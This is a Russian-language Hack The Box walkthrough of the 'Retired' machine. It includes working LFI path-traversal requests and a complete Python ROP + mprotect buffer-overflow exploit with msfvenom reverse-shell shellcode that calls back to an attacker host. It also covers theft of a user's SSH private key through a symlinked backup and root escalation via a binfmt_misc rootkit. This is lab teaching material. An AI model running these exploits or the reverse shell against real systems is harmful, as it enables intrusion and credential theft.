March 20

HTB Retired. Пишем эксплоит ROP + mprotect и используем переполнение буфера

RalfHacker

В этом рай­тапе мы рас­кру­тим уяз­вимость локаль­ного вклю­чения фай­лов, что поможет нам при написа­нии экс­пло­ита на осно­ве ROP + mprotect. Поборов про­вер­ку лицен­зии, мы повысим при­виле­гии при помощи рут­кита binfmt_misc. Пре­пари­ровать будем машину Retired с пло­щад­ки Hack The Box. Задач­ка клас­сифици­рова­на как слож­ная, хотя я бы так не ска­зал.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.154 retired.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Что же мы наш­ли? Порт 22 — служ­ба OpenSSH 8.4p1, порт 80 — веб‑сер­вер Nginx. Так­же из резуль­татов ска­на Nmap видим редирект, в котором стра­ница переда­ется в качес­тве парамет­ра.

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

LFI

При таком зап­росе стра­ниц сай­та нуж­но сра­зу про­верить, получит­ся ли отоб­разить не тот файл, который был встав­лен раз­работ­чиком. Поп­робу­ем зап­росить /etc/passwd, вос­поль­зовав­шись обхо­дом катало­гов.

curl 'http://retired.htb/index.php?page=/../../../../../../../etc/passwd'

Со­дер­жимое фай­ла /etc/passwd

Уяз­вимость под­твержде­на, поэто­му перей­дем к экс­плу­ата­ции. Нам нуж­но знать, какие фай­лы читать, поэто­му поищем на сай­те скры­тые стра­ницы. Так как мы уже стол­кну­лись с фор­матами PHP и HTML, то такие стра­ницы и будем искать. Для это­го вос­поль­зуем­ся ска­нером ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

Ко­ман­да сле­дующая:

ffuf -u 'http://retired.htb/FUZZ.php' -t 256 -w directory_2.3_medium_lowercase.txt

Ре­зуль­тат поис­ка фай­лов PHP с помощью ffuf

ffuf -u 'http://retired.htb/FUZZ.html' -t 256 -w directory_2.3_medium_lowercase.txt

Ре­зуль­тат поис­ка фай­лов HTML с помощью ffuf

Наш­ли все­го одну новую стра­ницу — beta.html.

Стра­ница beta.html

На стра­нице нуж­но заг­ружать файл лицен­зии, который будет отправ­лен на сле­дующий адрес:

http://retired.htb/activate_license.php

Пос­мотрим, что про­изой­дет с фай­лом даль­ше. Для это­го получим код най­ден­ного обра­бот­чика.

curl 'http://retired.htb/index.php?page=activate_license.php'

Ис­ходный код activate_license.php

Та­ким обра­зом, заг­ружен­ный через фор­му файл будет отправ­лен при­ложе­нию, которое работа­ет на локаль­ном пор­те 1337. Поп­робу­ем выяс­нить, что это за при­ложе­ние, с помощью LFI. Я запус­тил Burp Intruder и передал ему спи­сок информа­тив­ных фай­лов из Unix.

Burp Intruder — вклад­ка Positions

В резуль­тате ска­ниро­вания узна­ем, что нам дос­тупен в том чис­ле и файл /proc/sched_debug, где и находим про­цесс activate_license и соот­ветс­тву­ющий ему иден­тифика­тор про­цес­са (PID) — 487.

Ре­зуль­тат ска­ниро­вания

Зная PID про­цес­са, мы можем получить пол­ную коман­дную стро­ку, что даст нам путь к фай­лу.

curl 'http://retired.htb/index.php?page=/proc/487/cmdline'

Ко­ман­дная стро­ка про­цес­са 487

По­луча­ем пол­ный путь к фай­лу обра­бот­чика, а так­же видим, что порт для прос­лушива­ния переда­ется в качес­тве аргу­мен­та. Ска­чива­ем этот файл на локаль­ный хост для ана­лиза.

wget 'http://retired.htb/index.php?page=/usr/bin/activate_license'

ТОЧКА ОПОРЫ

Переполнение буфера

Те­перь перей­дем к ана­лизу при­ложе­ния. Каж­дый выбира­ет для себя более удоб­ный инс­тру­мент, но я оста­юсь при­вер­женцем IDA Pro. Закиды­ваем бинарь в деком­пилятор и ищем фун­кцию main.

Итак, при­ложе­ние стан­дар­тным спо­собом откры­вает порт, ожи­дает соеди­нения и, если оно про­исхо­дит и если фун­кция fork выпол­нена успешно, запус­кает фун­кцию activate_license.

Псев­докод фун­кции main

В фун­кции activate_license про­исхо­дит бес­кон­троль­ное чте­ние из буфера раз­мером 512 байт.

Псев­докод фун­кции activate_license

Та­ким обра­зом, мы наш­ли мес­то для перепол­нения буфера, оста­лось опре­делить­ся со сме­щени­ем наг­рузки и методом экс­плу­ата­ции. Для это­го нуж­но запус­тить прог­рамму в уда­лен­ном отладчи­ке, перепол­нить буфер и пос­мотреть, на каком сме­щении от начала буфера будет вер­шина сте­ка, ког­да прог­рамма упа­дет.

Па­рамет­ры уда­лен­ного отладчи­ка IDA Pro

Но при отладке мы не попада­ем в фун­кцию activate_license, поэто­му мне приш­лось запат­чить инс­трук­цию условно­го перехо­да (jnz).

Код прог­раммы до исправ­ления
Код прог­раммы пос­ле пат­ча jnz

Те­перь сге­нери­руем пос­ледова­тель­ность де Брёй­на, которая поможет быс­тро опре­делить сме­щение.

Ге­нери­рова­ние пос­ледова­тель­нос­ти де Брёй­на

От­прав­ляем эти дан­ные нашей прог­рамме и пос­ле ошиб­ки выпол­нения смот­рим дан­ные в регис­тре RBP.

echo aaabaaac... | nc 127.0.0.1 1337

Зна­чения регис­тров

Кон­верти­руем получен­ное зна­чение и вычис­ляем сме­щение — 520.

По­луче­ние сме­щения

Вы­бирать метод дол­го не приш­лось. Мы можем получить дос­туп к области неис­полня­емой памяти.

Кар­та памяти

Для успешной экс­плу­ата­ции мы отпра­вим вмес­те с дан­ными шелл‑код, с помощью ROP-цепочек сде­лаем этот сег­мент памяти исполня­емым и переда­дим управле­ние на шелл‑код.

Впос­ледс­твии будем допол­нять сле­дующий шаб­лон экс­пло­ита.

#!/usr/bin/python3from pwn import *context.clear(arch='amd64')###########################payload = b'A' * 520r = requests.post(f"http://10.10.11.154/activate_license.php", files = { "licensefile": payload } )

ROP-цепочки

Для работы с ROP-цепоч­ками нам пот­ребу­ется кар­та памяти про­цес­са с уда­лен­ного хос­та, получить которую мы можем через LFI.

curl 'http://retired.htb/index.php?page=/proc/487/maps'

Кар­та памяти

Для поис­ка ROP-цепочек нам нуж­но получить исполь­зуемую вер­сию libc.

curl 'http://retired.htb/index.php?page=/usr/lib/x86_64-linux-gnu/libc-2.31.so' --output libc-2.31.so

Те­перь можем опре­делить­ся и с самой ROP-цепоч­кой. Нам нуж­но изме­нить пра­ва на блок памяти, и в этом поможет фун­кция mprotect:

int mprotect(const void *addr, size_t len, int prot);

Фун­кция при­нима­ет три аргу­мен­та, переда­вать которые мы будем инс­трук­циями pop rdi, pop rsi и pop rdx. Про­верить наличие соот­ветс­тву­ющих цепочек мы можем сле­дующим обра­зом:

from pwn import *context.clear(arch='amd64')libc = ELF("libc-2.31.so", checksec=False)rop = ROP([libc])rop.rdirop.rsirop.rdxlibc.symbols['mprotect']

Про­вер­ка наличия цепочек

Есть все дан­ные для вызова фун­кции mprotect, переда­вать в качес­тве парамет­ров мы будем адрес сте­ка и его раз­мер (получа­ем из кар­ты памяти), тре­тий параметр фун­кции — новые пра­ва, исполь­зуем мас­ку rwx (7). Вот код экс­пло­ита на текущем эта­пе:

#!/usr/bin/python3from pwn import *context.clear(arch='amd64')stack_base = 0x7ffc93704000stack_size = 0x7ffc93725000 - stack_baselibc = ELF("libc-2.31.so", checksec=False)libc.address = 0x7f522503d000rop = ROP([libc])payload += p64(pop_rdi) + p64(stack_base)payload = b'A' * 520payload += p64(rop.rdi[0])payload += p64(stack_base)payload += p64(rop.rsi[0])payload += p64(stack_size)payload += p64(rop.rdx[0])payload += p64(7)payload += p64(libc.symbols['mprotect'])r = requests.post(f"http://10.10.11.154/activate_license.php", files = { "licensefile": payload } )

Шелл-код

Сле­дующей инс­трук­цией ста­нет jmp на адрес в регис­тре RSP (ука­затель сте­ка), так как там будет рас­положен шелл‑код. Но най­ти инс­трук­цию jmp rsp в регис­тре не уда­лось, поэто­му ска­чаем и про­верим дру­гие исполь­зуемые биб­лиоте­ки. Нуж­ную инс­трук­цию обна­ружи­ваем в биб­лиоте­ке libsqlite.

curl 'http://retired.htb/index.php?page=/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6' --output libsqlite3.so.0.8.6 libsqlite = ELF("libsqlite3.so.0.8.6", checksec=False)rop = ROP([libsqlite])rop.jmp_rsp

Про­вер­ка наличия цепочек

Сам шелл‑код сге­нери­руем с помощью msfvenom из Metasploit Framework.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.21 LPORT=4321 -f py

Ге­нери­рова­ние шелл‑кода

Пол­ный код экс­пло­ита будет сле­дующим:

#!/usr/bin/python3from pwn import *import requestscontext.clear(arch='amd64')stack_base = 0x7ffc93704000stack_size = 0x7ffc93725000 - stack_baselibc = ELF("libc-2.31.so", checksec=False)libc.address = 0x7f522503d000libsqlite = ELF("libsqlite3.so.0.8.6", checksec=False)libsqlite.address = 0x7f5225202000rop = ROP([libc, libsqlite])buf = b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"buf += b"\x97\x48\xb9\x02\x00\x10\xe1\x0a\x0a\x0e\x15\x51\x48"buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"payload = b'A' * 520payload += p64(rop.rdi[0])payload += p64(stack_base)payload += p64(rop.rsi[0])payload += p64(stack_size)payload += p64(rop.rdx[0])payload += p64(7)payload += p64(libc.symbols['mprotect'])payload += p64(rop.jmp_rsp[0])payload += bufr = requests.post(f"http://10.10.11.154/activate_license.php", files = { "licensefile": payload } )

За­пус­каем лис­тенер на ука­зан­ном при генера­ции шелл‑кода пор­те (rlwrap -cAr nc -lvp 4321) и выпол­няем экс­пло­ит.

Вы­пол­нение экс­пло­ита
Бэк­коннект с сер­вера

И получа­ем дос­туп к хос­ту.

ПРОДВИЖЕНИЕ

Мы получи­ли дос­туп к хос­ту, теперь необ­ходимо соб­рать информа­цию. Рыть­ся в сис­теме мож­но дол­го, поэто­му исполь­зуем скрипт PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Ре­зуль­тат работы скрип­та

Скрипт находит мно­го инте­рес­ного в раз­деле с бэкапа­ми: какой‑то поль­зователь­ский файл /usr/bin/webbackup, служ­бу website_backup, а так­же тай­мер для этой служ­бы. Гля­нем, что собой пред­став­ляет поль­зователь­ский файл.

Про­вер­ка фай­ла webbackup

Это скрипт на Bash, поэто­му прос­мотрим его исходный код.

Со­дер­жимое фай­ла webbackup

Этот сце­нарий дол­жен архи­виро­вать при помощи zip все содер­жимое катало­га /var/www/html и сох­ранять резуль­тат в /var/www/. При этом най­ден­ная служ­ба, ско­рее все­го, запус­кает скрипт раз в минуту.

Спи­сок сис­темных тай­меров

По­доб­ные задания на Hack The Box не новы, и заяд­лые «игро­ки» зна­ют, что делать в дан­ном слу­чае: соз­давать сим­воличес­кую ссыл­ку на дру­гой файл. Тог­да при обра­бот­ке этой ссыл­ки будут про­изве­дены опе­рации с самим фай­лом. Соз­дадим в катало­ге /var/www/html ссыл­ку на при­ват­ный ключ поль­зовате­ля.

ln -s /home/dev/.ssh/id_rsa id_rsa

Те­перь дож­демся сра­баты­вания скрип­та, разар­хивиру­ем толь­ко что соз­данный архив и заберем желан­ный ключ.

При­ват­ный ключ поль­зовате­ля

И, под­клю­чив­шись с получен­ным клю­чом, забира­ем флаг поль­зовате­ля.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

В домаш­нем катало­ге поль­зовате­ля находим инте­рес­ный про­ект emuemu.

Со­дер­жимое домаш­него катало­га поль­зовате­ля

Файл из это­го про­екта уже был упо­мянут в выводе LinPEAS в раз­деле Linux capabilities. Но сна­чала пару слов о том, что же это такое.

Linux capabilities из вывода LinPEAS

В Linux поль­зователь root получа­ет осо­бый кон­текст при запус­ке любых про­цес­сов. Так, ядро и при­ложе­ния, работа­ющие от име­ни root, обыч­но про­пус­кают любые огра­ниче­ния, задан­ные на дей­ствия в опре­делен­ном кон­тек­сте, поэто­му root может делать все, что захочет. Но что, если про­цес­су, который работа­ет в неп­ривиле­гиро­ван­ном кон­тек­сте, нуж­но выпол­нить тре­бующее при­виле­гий дей­ствие, не повышая уров­ня прав?

Нап­ример, быва­ет нуж­но раз­решить про­цес­су записы­вать в жур­нал ауди­та ядра, но не поз­волять отклю­чить этот аудит. Ведь если запус­тить этот про­цесс в кон­тек­сте рута, он смо­жет выпол­нить оба дей­ствия!

Тут на помощь и при­ходят Linux capabilities. Эти «воз­можнос­ти» пре­дос­тавля­ют про­цес­су не все мно­жес­тво при­виле­гий, а какое‑то его под­мно­жес­тво. Дру­гими сло­вами, все при­виле­гии рута раз­бива­ются на более мел­кие незави­симые друг от дру­га при­виле­гии и про­цесс получа­ет толь­ко те, которые ему нуж­ны.

В дан­ном слу­чае акти­виро­вана при­виле­гия cap_dac_override, которая поз­воля­ет обой­ти про­вер­ку прав на запись для любого фай­ла, то есть дает воз­можность записы­вать дан­ные в абсо­лют­но любой файл.

Те­перь перей­дем к самому при­ложе­нию, бла­го есть даже исходные коды. Так, в фай­ле reg_helper.c про­исхо­дит запись в /proc/sys/fs/binfmt_misc/register.

Со­дер­жимое фай­ла reg_helper.c

Пос­коль­ку в binfmt_misc записы­вает­ся под­кон­троль­ный нам ввод, мы можем исполь­зовать го­товый экс­пло­ит, что­бы запус­тить рут­кит и получить кон­троль над сис­темой. Но в файл экс­пло­ита нуж­но внес­ти нес­коль­ко изме­нений:

  • ука­зать целевой бинар­ный файл;
  • уб­рать фун­кцию not_writeable.
Из­менен­ный файл экс­пло­ита
Из­менен­ный код экс­пло­ита (про­дол­жение)

Вы­пол­няем наш файл и получа­ем при­виле­гиро­ван­ную коман­дную обо­лоч­ку.

Флаг рута

Ма­шина зах­вачена!